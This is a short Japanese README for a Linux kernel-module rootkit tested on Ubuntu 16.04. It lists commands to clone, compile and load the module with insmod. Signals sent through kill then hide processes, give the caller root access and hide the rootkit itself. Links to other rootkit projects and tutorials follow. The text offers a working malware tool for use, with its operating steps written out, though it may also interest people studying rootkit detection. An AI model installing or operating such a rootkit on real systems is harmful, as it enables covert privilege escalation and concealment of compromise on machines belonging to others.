これは、ubuntu-16.04.6-desktop-amd64 (Linux 4.4) でテストされたルートキットです。ただし、異なるカーネルバージョンへの移植は容易なはずです。
ビデオへのリンク --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing
リポジトリをクローンする
git clone https://github.com/Asekon/RootKit
フォルダに入る
cd RootKit
コンパイル
sudo make
ルートとしてモジュールをカーネルに挿入する
sudo insmod RootKit.ko
プロセスを(非)表示にする (例: PID 500)
kill -0 500
ルートアクセスを取得する (任意のPIDを挿入できます、0である必要はありません)
kill -1 0
ルートキットを(非)表示にする (任意のPIDを挿入できます、0である必要はありません)
kill -2 0
ルートとしてカーネルからモジュールを削除する（先にモジュールリストに表示されていることを確認してください）
sudo rmmod RootKit
https://en.wikipedia.org/wiki/Rootkit
http://dandylife.net/blog/archives/304
https://github.com/nurupo/rootkit
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/
http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html
https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/